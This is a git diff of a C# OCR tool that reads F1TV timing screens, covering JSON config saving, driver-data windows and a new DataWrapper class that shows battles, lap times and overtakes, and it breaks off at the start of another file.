diff --git a/docs/Code/ConfigurationTool.cs b/docs/Code/ConfigurationTool.cs index 64f112e..4028eda 100644 --- a/docs/Code/ConfigurationTool.cs +++ b/docs/Code/ConfigurationTool.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : ConfigurationTool.cs -/// Brief : Class that contains all the methods needed to create a config file for the OCR -/// Version : 0.1 +/// Brief : Class that contains all the methods used to create config files for the main programm +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -12,8 +12,10 @@ using System.Text; using System.Threading.Tasks; using Tesseract; using System.IO; +using System.Text.Json; +using System.Text.Json.Nodes; -namespace Test_Merge +namespace TrackTrends { public class ConfigurationTool { @@ -21,43 +23,100 @@ namespace Test_Merge public const int NUMBER_OF_DRIVERS = 20; public const int NUMBER_OF_ZONES = 9; public const string CONFIGS_FOLDER_NAME = "./Presets/"; - + /// + /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone + /// + /// The full image coming from the F1TV Data Channel + /// The dimensions of the zone where all the drivers data are situated public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions) { MainZone = new Zone(fullImage, mainZoneDimensions,"Main"); AutoCalibrate(); } + /// + /// Resets the main zone + /// public void ResetMainZone() { MainZone.ResetZones(); } + /// + /// Reset the windows + /// public void ResetWindows() { MainZone.ResetWindows(); } + /// + /// Save the current config in a JSON file stored in /Presets/ + /// + /// A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything + /// The name the config should have public void SaveToJson(List drivers, string configName) { string JSON = ""; - JSON += "{" + Environment.NewLine; - JSON += MainZone.ToJSON() + "," + Environment.NewLine; - JSON += "\"Drivers\":[" + Environment.NewLine; + JsonObject jsonFileObject = new JsonObject(); - for (int i = 0; i < drivers.Count; i++) + //Creates the mainZone object + JsonObject mainZoneObject = new JsonObject(); + + mainZoneObject.Add("x",MainZone.Bounds.X); + mainZoneObject.Add("y",MainZone.Bounds.Y); + mainZoneObject.Add("width",MainZone.Bounds.Width); + mainZoneObject.Add("height",MainZone.Bounds.Height); + + JsonArray driverZonesArray = new JsonArray(); + + //Creates all the subzones that contain driver infos + int DriverID = 0; + foreach (Zone driverZone in MainZone.Zones) { - JSON += "\"" + drivers[i] + "\""; - if (i < drivers.Count - 1) - JSON += ","; - JSON += Environment.NewLine; + DriverID++; + JsonObject driverZoneObject = new JsonObject(); + driverZoneObject.Add("name","Driver"+DriverID); + driverZoneObject.Add("x", driverZone.Bounds.X); + driverZoneObject.Add("y", driverZone.Bounds.Y); + driverZoneObject.Add("width", driverZone.Bounds.Width); + driverZoneObject.Add("height", driverZone.Bounds.Height); + + JsonArray windowsArray = new JsonArray(); + JsonObject windowObject = new JsonObject(); + + //Creates all the windows of the current driver zone + //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone + foreach (Window window in driverZone.Windows) + { + windowObject.Add(window.Name, new JsonObject { + { "x", window.Bounds.X }, + { "y", window.Bounds.Y }, + { "width", window.Bounds.Width }, + { "height", window.Bounds.Height } + }); + } + windowsArray.Add(windowObject); + + driverZoneObject.Add("Windows",windowsArray); + + driverZonesArray.Add(driverZoneObject); } - JSON += "]" + Environment.NewLine; + mainZoneObject.Add("DriverZones",driverZonesArray); - JSON += "}"; + JsonArray driversArray = new JsonArray(); - if (!Directory.Exists(CONFIGS_FOLDER_NAME)) - Directory.CreateDirectory(CONFIGS_FOLDER_NAME); + foreach (string driver in drivers) + { + driversArray.Add(driver); + } + mainZoneObject.Add("Drivers",driversArray); + + jsonFileObject.Add("Main",mainZoneObject); + + JSON = jsonFileObject.ToString(); + + //Saving the file string path = CONFIGS_FOLDER_NAME + configName; if (File.Exists(path + ".json")) @@ -77,6 +136,11 @@ namespace Test_Merge File.WriteAllText(path, JSON); } + /// + /// Adds a window in the windows list + /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc... + /// + /// The bounds of the window public void AddWindows(List rectangles) { foreach (Zone driverZone in MainZone.Zones) @@ -92,41 +156,45 @@ namespace Test_Merge driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 2: - //First zone should be the Gap to leader + //Second zone should be the Gap to leader driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 3: - //First zone should be the driver's Lap Time + //Third zone should be the driver's Lap Time driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 4: - //First zone should be the driver's DRS status + //Fourth zone should be the driver's DRS status driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 5: - //First zone should be the driver's Tyre's informations + //Fifth zone should be the driver's Tyre's informations driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 6: - //First zone should be the driver's Name + //Sixth zone should be the driver's Name driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 7: - //First zone should be the driver's First Sector + //Seventh zone should be the driver's First Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false)); break; case 8: - //First zone should be the driver's Second Sector + //Zone number eight should be the driver's Second Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false)); break; case 9: - //First zone should be the driver's Position Sector + //Zone number nine should be the driver's Position Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false)); break; } } } } + /// + /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned + /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out) + /// public void AutoCalibrate() { List detectedText = new List(); @@ -137,6 +205,8 @@ namespace Test_Merge var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); + //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned. + //For each row it decides the best Zone location and adds it to the Driver zone list using (var iter = page.GetIterator()) { iter.Begin(); @@ -145,7 +215,6 @@ namespace Test_Merge Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { - //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { @@ -184,8 +253,7 @@ namespace Test_Merge //We add the driver zones Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone"); MainZone.AddZone(driverZone); - - driverZone.ZoneImage.Save("Driver" + i+".png"); + //driverZone.ZoneImage.Save("Driver" + i+".png"); i++; } } diff --git a/docs/Code/DataWrapper.cs b/docs/Code/DataWrapper.cs new file mode 100644 index 0000000..d5ce5d6 --- /dev/null +++ b/docs/Code/DataWrapper.cs @@ -0,0 +1,379 @@ +/// Author : Maxime Rohmer +/// Date : 30/05/2023 +/// File : DataWrapper.cs +/// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D +/// Version : Alpha 1.0 + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Drawing; + +namespace TrackTrends +{ + internal class DataWrapper + { + private Reader Reader; + private SqliteStorage Storage; + List> LiveDriverDataLogs = new List>(); + //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods. + /// + /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason + /// + /// The JSON config file that is created by the configuration tool + /// A screenshot of the + public DataWrapper(string configFile, Bitmap screenshot) + { + Reader = new Reader(configFile, screenshot, true); + //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here) + Storage = Reader.Storage; + } + /// + /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date) + /// + /// Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here) + public int Refresh() + { + LiveDriverDataLogs.Add(Reader.Decode(Reader.MainZones, Reader.Drivers)); + if (LiveDriverDataLogs.Count > 0) + return 0; + return 1; + } + /// + /// Changes the image to the newest screenshot in all of the zones and windows + /// + /// The new screenshot to put everywhere (Do not mix resolutions) + public void ChangeImage(Bitmap image) + { + Reader.ChangeImage(image); + } + /// + /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D + /// + /// The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB) + /// The pannel where you want the five last laps to be displayed + /// The Main form. + /// + public DriverData GetFullDriverData(string driverName, Panel lastFiveLapsPanel, Main form1) + { + //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right ! + DriverData result = new DriverData(); + if (LiveDriverDataLogs.Count > 0) + { + //Searches the most recent live data from the given driverName + foreach (DriverData data in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1]) + { + if (data.Name == driverName) + result = data; + } + + if (result.Name != "") + { + //Recovers and displays the last five laps from the driver + lastFiveLapsPanel.Controls.Clear(); + Size labelDimensions = new Size(lastFiveLapsPanel.Width, lastFiveLapsPanel.Height / 5); + + List<(int LapTime, int Lap)> lapsInfos = Storage.GetDriverLaptimes(driverName, 5); + + int id = 0; + foreach ((int LapTime, int Lap) lapData in lapsInfos) + { + //Hardcodes the new button. + //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything. + Button newButton = new Button(); + lastFiveLapsPanel.Controls.Add(newButton); + newButton.Name = driverName + "_" + lapData.Lap; + newButton.Text = Reader.ConvertMsToTime(lapData.LapTime); + newButton.Size = labelDimensions; + newButton.FlatStyle = FlatStyle.Popup; + newButton.Click += form1.btnLapTime_Click; + newButton.Location = new Point(0, id * newButton.Height); + id++; + } + } + } + + return result; + } + /// + /// Runs trough every drivers live data to recover the drivers that are close to each others + /// + /// The control that will host the displayed battles + /// The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks + public void DisplayBattles(Panel pnlBattles,Main form1) + { + DriverData oldDriver = null; + List<(DriverData d1, DriverData d2, int gap)> battles = new List<(DriverData d1, DriverData d2, int gap)>(); + //Search trough all the drivers and finds the one battling + foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1]) + { + if (oldDriver != null && driver.Position != -1 && oldDriver.Position != -1) + { + if (driver.GapToLeader < oldDriver.GapToLeader) + { + //There is a problem with the drivers gaps + } + else + { + int gap = driver.GapToLeader - oldDriver.GapToLeader; + //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not + if (gap <= 3000) + { + battles.Add((oldDriver, driver, gap)); + } + } + oldDriver = driver; + } + else + { + oldDriver = driver; + } + } + //We will only display 4 battles max + int maxBattles = 4; + if (battles.Count > 0) + { + pnlBattles.Controls.Clear(); + int maxUiHeight = Math.Max(pnlBattles.Height / maxBattles, pnlBattles.Height / battles.Count); + int id = 0; + foreach ((DriverData d1, DriverData d2, int gap) battle in battles) + { + if(id < maxBattles) + { + //*hardcoding* the different controls that needs to be added to the panel. + //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest + Button btnFirstDriver = new Button(); + Button btnSecondDriver = new Button(); + Label lblGap = new Label(); + + pnlBattles.Controls.Add(btnFirstDriver); + pnlBattles.Controls.Add(lblGap); + pnlBattles.Controls.Add(btnSecondDriver); + + btnFirstDriver.Anchor = AnchorStyles.Left | AnchorStyles.Top; + btnSecondDriver.Anchor = AnchorStyles.Right | AnchorStyles.Top; + lblGap.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top; + + lblGap.TextAlign = ContentAlignment.MiddleCenter; + lblGap.Font = new Font(lblGap.Font.FontFamily, 15); + + btnFirstDriver.Click += form1.btnDriver_Click; + btnSecondDriver.Click += form1.btnDriver_Click; + + btnFirstDriver.FlatStyle = FlatStyle.Popup; + btnSecondDriver.FlatStyle = FlatStyle.Popup; + lblGap.FlatStyle = FlatStyle.Popup; + + btnFirstDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight); + btnSecondDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight); + lblGap.Size = new Size(pnlBattles.Width / 3, maxUiHeight); + + btnFirstDriver.Location = new Point(pnlBattles.Width / 3 * 0, id * maxUiHeight); + lblGap.Location = new Point(pnlBattles.Width / 3 * 1, id * maxUiHeight); + btnSecondDriver.Location = new Point(pnlBattles.Width / 3 * 2, id * maxUiHeight); + + btnFirstDriver.Text = battle.d1.Name; + lblGap.Text = "+ " + Reader.ConvertMsToTime(battle.gap); + if (battle.gap <= 2000) + lblGap.ForeColor = Color.Yellow; + if (battle.gap <= 1000) + lblGap.ForeColor = Color.Green; + btnSecondDriver.Text = battle.d2.Name; + + btnFirstDriver.Name = battle.d1.Name + "_" + id; + lblGap.Name = "lbl_Gap_" + id; + btnSecondDriver.Name = battle.d2.Name + "_" + id; + } + else + { + break; + } + id++; + } + } + } + /// + /// Searches the fastest and slowests drivers and displays them in the given panels + /// + /// Panel that will contain the constructed controls + /// Panel that will contain the constructed controls + /// The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click + public void DisplayTimesDeltas(Panel pnlFastest,Panel pnlSlowest, Main form1) + { + List<(int avg, string driverName)> averages = new List<(int avg, string driverName)>(); + foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1]) + { + //We want to recover the last 5 lap times + List<(int lapTime,int lap)> laps = Storage.GetDriverLaptimes(driver.Name,5); + if(laps.Count > 0) + { + int avg = 0; + foreach ((int lapTime, int lap) lap in laps) + { + avg += lap.lapTime; + } + avg = avg / laps.Count; + averages.Add((avg, driver.Name)); + } + } + int numberOfDriversToShow = 5; + if (averages.Count > 0 && averages.Count > numberOfDriversToShow) + { + averages = averages.OrderBy(item => item.avg).ToList(); + pnlFastest.Controls.Clear(); + pnlSlowest.Controls.Clear(); + int maxUiSize = pnlFastest.Height / numberOfDriversToShow; + + //Displays the fastest drivers + for (int i = 0; i < numberOfDriversToShow; i++) + { + Button newButton = new Button(); + (int avg, string driver) data = averages[i]; + pnlFastest.Controls.Add(newButton); + newButton.Size = new Size(pnlFastest.Width, maxUiSize); + newButton.Location = new Point(0, i * maxUiSize); + newButton.Text = data.driver; + newButton.FlatStyle = FlatStyle.Popup; + newButton.Name = data.driver + "_fastest_" + i; + newButton.Click += form1.btnDriver_Click; + //We take the average time lost per lap + if (i != 0) + newButton.Text += " + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f)); + } + //Displays the slowests drivers + int badId = 0; + for (int i = averages.Count -1; i >= averages.Count - numberOfDriversToShow; i--) + { + Button newButton = new Button(); + (int avg, string driver) data = averages[i]; + pnlSlowest.Controls.Add(newButton); + newButton.Size = new Size(pnlFastest.Width, maxUiSize); + newButton.Location = new Point(0, badId * maxUiSize); + newButton.Text = data.driver; + newButton.FlatStyle = FlatStyle.Popup; + newButton.Name = data.driver + "_slowest_" + i; + newButton.Click += form1.btnDriver_Click; + //We take the average time lost per lap + newButton.Text += " + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f)); + badId++; + } + } + } + /// + /// Will add to the list of overtakes the different changes of position + /// + /// The listbox containing all the infos + public void DisplayOvertakes(ListBox lsbResult) + { + //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes + if (LiveDriverDataLogs.Count > 1) + { + List oldList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 2]; + List newList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1]; + for (int i = 0; i < LiveDriverDataLogs[LiveDriverDataLogs.Count - 1].Count;i++) + { + if (oldList[i].Name != newList[i].Name) { + //There has been a change in the standings + for(int y = 0; y < oldList.Count;y++) + { + if (newList[y].Name == oldList[i].Name) + { + //We found its new location + if (y > i) + { + //The driver overtook someone + lsbResult.Items.Add(newList[y].Name + " climbed to " + y); + } + else + { + //The driver got overtook by someone + lsbResult.Items.Add(newList[y].Name + " fell to " + y); + } + + } + } + } + } + } + } + /// + /// Displays a messageBox containing the infos about a lap time + /// + /// The name of the driver that has done the lapTime + /// The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB) + /// The time (in ms) of the lap + public void DisplayLapTimeInfos(string driverName, int Lap, string LapTime) + { + List sectors = Storage.GetSectorsFromLapTime(driverName, Lap); + string message = "Lap time infos" + Environment.NewLine; + message += LapTime + Environment.NewLine; + if (sectors.Count > 0) + message += "Sector 1 : " + Reader.ConvertMsToTime(sectors[0]) + Environment.NewLine; + if (sectors.Count > 1) + message += "Sector 2 : " + Reader.ConvertMsToTime(sectors[1]) + Environment.NewLine; + if (sectors.Count > 2) + message += "Sector 3 : " + Reader.ConvertMsToTime(sectors[2]) + Environment.NewLine; + MessageBox.Show(message); + } + /// + /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order + /// + /// The control that will host all the new controls + /// The main form + public void DisplayLiveRanking(Panel pnl, Main form1) + { + if (LiveDriverDataLogs.Count > 0) + { + pnl.Controls.Clear(); + //Gets the last item that should be the most recent data + List liveData = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1]; + + Button[] buttons = new Button[liveData.Count]; + + Size buttonDimensions = new Size(pnl.Width, pnl.Height / liveData.Count); + + for (int driverCount = 0; driverCount < liveData.Count; driverCount++) + { + Button newButton = new Button(); + + newButton.Size = buttonDimensions; + newButton.Location = new Point(0, driverCount * buttonDimensions.Height); + newButton.FlatStyle = FlatStyle.Popup; + + DriverData driver = liveData[driverCount]; + + if (driver.Position == -1) + { + //Its a DNF + newButton.Enabled = false; + } + if (driver.Position > 1) + { + newButton.Text = driver.Name + " +" + Reader.ConvertMsToTime(driver.GapToLeader); + } + else + { + newButton.Text = driver.Name; + } + + newButton.Name = liveData[driverCount].Name; + newButton.TextAlign = ContentAlignment.MiddleLeft; + + newButton.FlatStyle = FlatStyle.Popup; + + newButton.Click += form1.btnDriver_Click; + + buttons[driverCount] = newButton; + } + //Note : It could be better to have this directly in the same loop + foreach (Button button in buttons) + { + pnl.Controls.Add(button); + } + } + } + } +} diff --git a/docs/Code/DriverData.cs b/docs/Code/DriverData.cs index 94bad8b..75abe73 100644 --- a/docs/Code/DriverData.cs +++ b/docs/Code/DriverData.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverData.cs -/// Brief : Class used to store Driver informations -/// Version : 0.1 +/// Brief : File containing classes that behave just like structures to store data about drivers +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -10,7 +10,7 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Test_Merge +namespace TrackTrends { public class DriverData { @@ -36,6 +36,9 @@ namespace Test_Merge Sector3 = sector3; CurrentTyre = tyre; } + /// + /// Creates a default driver data with empty values + /// public DriverData() { DRS = false; diff --git a/docs/Code/DriverDrsWindow.cs b/docs/Code/DriverDrsWindow.cs index 4d8f469..781c506 100644 --- a/docs/Code/DriverDrsWindow.cs +++ b/docs/Code/DriverDrsWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -13,9 +13,9 @@ using System.Text; using System.Threading.Tasks; using Tesseract; -namespace Test_Merge +namespace TrackTrends { - internal class DriverDrsWindow:Window + public class DriverDrsWindow:Window { private static int EmptyDrsGreenValue = -1; private static Random rnd = new Random(); @@ -23,9 +23,17 @@ namespace Test_Merge { Name = "DRS"; } - public override async Task DecodePng() + /// + /// Method that will decode the content of the window + /// + /// returns a boolean (true = DRS OPEN, false = DRS CLOSED) + public override object DecodePng() { bool result = false; + + //DEBUG + //WindowImage.Save("./DRS/"+rnd.Next(0,99999)+".png"); + int greenValue = GetGreenPixels(); if (EmptyDrsGreenValue == -1) EmptyDrsGreenValue = greenValue; @@ -35,6 +43,10 @@ namespace Test_Merge return result; } + /// + /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated + /// + /// The number of clearely green pixels private unsafe int GetGreenPixels() { int tot = 0; @@ -69,6 +81,10 @@ namespace Test_Merge return tot; } + /// + /// This method is used to lock on where exactly the DRS window is + /// + /// Returns a rectangle containing the DRS public Rectangle GetBox() { var tessImage = Pix.LoadFromMemory(ImageToByte(WindowImage)); diff --git a/docs/Code/DriverGapToLeaderWindow.cs b/docs/Code/DriverGapToLeaderWindow.cs index 0404635..44011ee 100644 --- a/docs/Code/DriverGapToLeaderWindow.cs +++ b/docs/Code/DriverGapToLeaderWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverGapToLeaderWindow.cs /// Brief : Window containing infos about the gap to the leader of a driver -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,9 +11,9 @@ using System.Linq; using System.Text; using System.Threading.Tasks; -namespace Test_Merge +namespace TrackTrends { - internal class DriverGapToLeaderWindow:Window + public class DriverGapToLeaderWindow:Window { public DriverGapToLeaderWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { @@ -22,10 +22,10 @@ namespace Test_Merge /// /// Decodes the gap to leader using Tesseract OCR /// - /// - public override async Task DecodePng() + /// Returns the gap to the leader in miliseconds (int) + public override object DecodePng() { - int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); + int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.Gap, Engine); return result; } } diff --git a/docs/Code/DriverLapTimeWindow.cs b/docs/Code/DriverLapTimeWindow.cs index 8f9ccd2..845d030 100644 --- a/docs/Code/DriverLapTimeWindow.cs +++ b/docs/Code/DriverLapTimeWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,9 +11,9 @@ using System.Text; using System.Threading.Tasks; using System.Drawing; -namespace Test_Merge +namespace TrackTrends { - internal class DriverLapTimeWindow:Window + public class DriverLapTimeWindow:Window { public DriverLapTimeWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { @@ -23,9 +23,9 @@ namespace Test_Merge /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) - public override async Task DecodePng() + public override object DecodePng() { - int result = await GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); + int result = GetTimeFromPng(WindowImage, OcrImage.WindowType.LapTime, Engine); return result; } } diff --git a/docs/Code/DriverNameWindow.cs b/docs/Code/DriverNameWindow.cs index b4be783..7a5e757 100644 --- a/docs/Code/DriverNameWindow.cs +++ b/docs/Code/DriverNameWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverNameWindow /// Brief : Window containing infos about the name of the driver -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,11 +11,10 @@ using System.Text; using System.Threading.Tasks; using System.Drawing; -namespace Test_Merge +namespace TrackTrends { public class DriverNameWindow : Window { - public static Random rnd = new Random(); public DriverNameWindow(Bitmap image, Rectangle bounds, bool generateEngine = true) : base(image, bounds,generateEngine) { Name = "Name"; @@ -23,12 +22,12 @@ namespace Test_Merge /// /// Decodes using OCR wich driver name is in the image /// - /// - /// The driver name in string - public override async Task DecodePng(List DriverList) + /// A list of all the names that can be on the image + /// a string representing the found driver name. It will be one of the ones given in the list + public override object DecodePng(List DriverList) { string result = ""; - result = await GetStringFromPng(WindowImage, Engine); + result = GetStringFromPng(WindowImage, Engine); if (!IsADriver(DriverList, result)) { @@ -40,8 +39,8 @@ namespace Test_Merge /// /// Verifies that the name found in the OCR is a valid name /// - /// - /// + /// The list of all the drivers name that can be found in the image + /// The driver you want to be sure if it exists or not /// If ye or no the driver exists private static bool IsADriver(List driverList, string potentialDriver) { diff --git a/docs/Code/DriverPositionWindow.cs b/docs/Code/DriverPositionWindow.cs index 7cf3821..e3fce4d 100644 --- a/docs/Code/DriverPositionWindow.cs +++ b/docs/Code/DriverPositionWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 -/// File : DriverPosition.cs +/// Date : 30/05/2023 +/// File : DriverPositionWindow.cs /// Brief : Window containing infos about the position of a driver. -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,7 +11,7 @@ using System.Text; using System.Threading.Tasks; using System.Drawing; -namespace Test_Merge +namespace TrackTrends { public class DriverPositionWindow:Window { @@ -22,10 +22,10 @@ namespace Test_Merge /// /// Decodes the position number using Tesseract OCR /// - /// The position of the pilot in int - public override async Task DecodePng() - { - string ocrResult = await GetStringFromPng(WindowImage, Engine, "0123456789"); + /// An int representing the position of the driver (should be between 1 and 20 included) + public override object DecodePng() + { + string ocrResult = GetStringFromPng(WindowImage, Engine, "0123456789"); int position; try diff --git a/docs/Code/DriverSectorWindow.cs b/docs/Code/DriverSectorWindow.cs index 2477efb..4623469 100644 --- a/docs/Code/DriverSectorWindow.cs +++ b/docs/Code/DriverSectorWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverSectorWindow.cs /// Brief : Window containing infos about a driver sector time. Can be the first second or third, does not matter. -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,9 +11,9 @@ using System.Text; using System.Threading.Tasks; using System.Drawing; -namespace Test_Merge +namespace TrackTrends { - internal class DriverSectorWindow:Window + public class DriverSectorWindow:Window { public DriverSectorWindow(Bitmap image, Rectangle bounds, int sectorId, bool generateEngine = true) : base(image, bounds,generateEngine) { @@ -23,9 +23,9 @@ namespace Test_Merge /// Decodes the sector /// /// the sector time in int (ms) - public override async Task DecodePng() + public override object DecodePng() { - int ocrResult = await GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); + int ocrResult = GetTimeFromPng(WindowImage, OcrImage.WindowType.Sector, Engine); return ocrResult; } } diff --git a/docs/Code/DriverTyresWindow.cs b/docs/Code/DriverTyresWindow.cs index 73ef29c..45e6a3e 100644 --- a/docs/Code/DriverTyresWindow.cs +++ b/docs/Code/DriverTyresWindow.cs @@ -1,8 +1,8 @@ /// Author : Maxime Rohmer -/// Date : 08/05/2023 +/// Date : 30/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre -/// Version : 0.1 +/// Version : Alpha 1.0 using System; using System.Collections.Generic; @@ -11,13 +11,11 @@ using System.Text; using System.Threading.Tasks; using System.Drawing; -namespace Test_Merge +namespace TrackTrends { public class DriverTyresWindow:Window { private static Random rnd = new Random(); - int seed = rnd.Next(0, 10000); - //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color.FromArgb(0xff, 0x00, 0x00); public static Color MEDIUM_TYRE_COLOR = Color.FromArgb(0xf5, 0xbf, 0x00); @@ -34,22 +32,25 @@ namespace Test_Merge /// This will decode the content of the image /// /// And object containing what was on the image - public override async Task DecodePng() + public override object DecodePng() { - return await GetTyreInfos(); + return GetTyreInfos(); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos - private async Task GetTyreInfos() + private Tyre GetTyreInfos() { + //DEBUG + //WindowImage.Save("./Tyre/raw_"+rnd.Next(0,99999)+".png"); + Bitmap tyreZone = GetSmallBitmapFromBigOne(WindowImage, FindTyreZone()); Tyre.Type type = Tyre.Type.Undefined; type = GetTyreTypeFromColor(OcrImage.GetAvgColorFromBitmap(tyreZone)); int laps = -1; - string number = await GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre); + string number = GetStringFromPng(tyreZone, Engine, "0123456789", OcrImage.WindowType.Tyre); try { laps = Convert.ToInt32(number); @@ -59,7 +60,11 @@ namespace Test_Merge //We could not convert the number so its a letter so its 0 laps old laps = 0; } - //tyreZone.Save(Reader.DEBUG_DUMP_FOLDER + "Tyre" + type + "Laps" + laps + '#' + rnd.Next(0, 1000) + ".png"); + + //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop) + if (laps > 75) + laps = 0; + return new Tyre(type, laps); } /// @@ -73,8 +78,8 @@ namespace Test_Merge int height = bmp.Height / 2; Color limitColor = Color.FromArgb(0x50, 0x50, 0x50); Color currentColor = Color.FromArgb(0, 0, 0); - - Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); + //25F + Size newWindowSize = new Size(bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 25f), bmp.Height - Convert.ToInt32((float)bmp.Height / 100f * 35f)); while (currentColor.R <= limitColor.R && currentColor.G <= limitColor.G && currentColor.B <= limitColor.B && currentPosition > 0) { diff --git a/docs/Code/F1TVEmulator.cs b/docs/Code/F1TVEmulator.cs index 9695c89..fbd8bee 100644 --- a/docs/Code/F1TVEmulator.cs +++ 